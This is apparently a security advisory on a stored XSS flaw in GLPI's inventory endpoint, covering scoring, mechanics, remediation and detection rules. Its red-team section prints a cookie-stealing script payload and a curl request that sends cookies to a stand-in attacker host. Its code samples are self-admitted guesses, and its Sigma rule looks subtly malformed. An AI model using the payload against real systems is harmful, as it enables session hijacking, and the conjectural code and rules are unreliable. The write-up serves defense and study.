CVE-2025-59935

Executive Summary

CVE-2025-59935 is a stored Cross-Site Scripting (XSS) vulnerability in GLPI, a popular open-source IT asset management software. The flaw affects versions 10.0.0 through 10.0.20, allowing an unauthenticated attacker to inject malicious scripts via the inventory endpoint. When a user (e.g., an administrator) views the affected inventory data, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit code or active exploitation in the wild (EPSS 0.0%). The vendor has released a patch in version 10.0.21.

Supply Chain & Package Security

GLPI is a PHP-based application distributed via GitHub and its official website. The vulnerability exists in the core application code, not in a third-party package. However, organizations using GLPI should verify the integrity of their installation and ensure they are sourcing the application from the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed to inject the payload.
• User Interaction (UI): Required – The victim must view the malicious inventory data.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirement and the potential for stored XSS make this a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the inventory endpoint of GLPI. The endpoint accepts inventory data from agents (e.g., FusionInventory) without proper sanitization. An unauthenticated attacker can craft a malicious inventory request containing JavaScript payloads in fields such as device names, serial numbers, or other inventory attributes.

When an administrator or other user views the inventory data (e.g., in the web interface), the payload is rendered in the browser, executing the attacker's script. This is a classic stored XSS attack.

Root Cause: Insufficient input validation and output encoding on the inventory endpoint. The application fails to sanitize user-supplied data before storing it in the database and later displaying it in the web interface.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to the inventory endpoint (e.g., /front/inventory.php or similar) with a malicious payload in a field like name or serial.
2. The server stores the payload in the database.
3. A victim (e.g., an admin) navigates to the inventory list or detail page.
4. The server retrieves the stored data and renders it in HTML without proper encoding.
5. The victim's browser executes the injected JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.0.21): The vulnerable code likely uses echo or print to output inventory data without escaping. For example:

// Vulnerable: Direct output without escaping
echo "<td>" . $inventory_item['name'] . "</td>";

Patched Code (10.0.21): The patched version uses proper output encoding functions like htmlspecialchars() or strip_tags():

// Patched: Escaped output
echo "<td>" . htmlspecialchars($inventory_item['name'], ENT_QUOTES, 'UTF-8') . "</td>";

The exact patch can be found in the GLPI GitHub repository by comparing version 10.0.20 and 10.0.21.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable GLPI instance (version 10.0.0 to 10.0.20).
• Network access to the inventory endpoint.

Exploitation Steps:

1. Identify the inventory endpoint (e.g., /front/inventory.php or /apirest.php/Inventory/).
2. Craft a malicious payload. For example, to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the payload via a POST request. Example using curl:

   curl -X POST http://target.com/front/inventory.php \
     -H "Content-Type: application/json" \
     -d '{"name": "<script>document.location=\"http://attacker.com/steal.php?c=\"+document.cookie</script>", "serial": "12345"}'
   

4. Wait for an administrator to view the inventory.
5. Capture the stolen cookie on your attacker server.

Note: No public exploit code is available for this CVE. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to inventory endpoints with suspicious payloads (e.g., <script> tags).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Enable input validation and output encoding in the application.

Hunting:

• Search logs for requests containing <script>, onerror, onload, or other XSS indicators.
• Review database entries for inventory fields that contain HTML or JavaScript.

Response:

• Isolate the affected system.
• Remove malicious entries from the database.
• Apply the patch (upgrade to 10.0.21).

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /front/inventory.php or /apirest.php/Inventory/ containing <script> tags or other HTML/JavaScript.
  • Outbound connections from the GLPI server to unknown external IPs (e.g., attacker-controlled servers).

• Host IOCs:

  • Database entries in the glpi_inventory table (or similar) containing HTML/JavaScript in fields like name, serial, comment.
  • Unusual entries in web server logs (e.g., Apache/Nginx access logs) with XSS payloads.

• File IOCs:

  • Modified or suspicious files in the GLPI installation directory (e.g., injected PHP files).

Detection Engineering

YARA Rule

rule CVE_2025_59935_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting GLPI inventory endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59935"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: GLPI Stored XSS via Inventory Endpoint
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts against GLPI inventory endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/front/inventory.php'
            - '/apirest.php/Inventory/'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate inventory data containing similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"GLPI Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/front/inventory.php"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GLPI to version 10.0.21 or later. This is the only complete fix.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to inventory endpoints.
3. Restrict network access to the GLPI inventory endpoint to trusted IPs only (e.g., internal agents).

Long-term Measures:

• Enforce input validation and output encoding in all user-facing fields.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workarounds:

• Disable the inventory endpoint if not in use (e.g., via .htaccess or firewall rules).
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT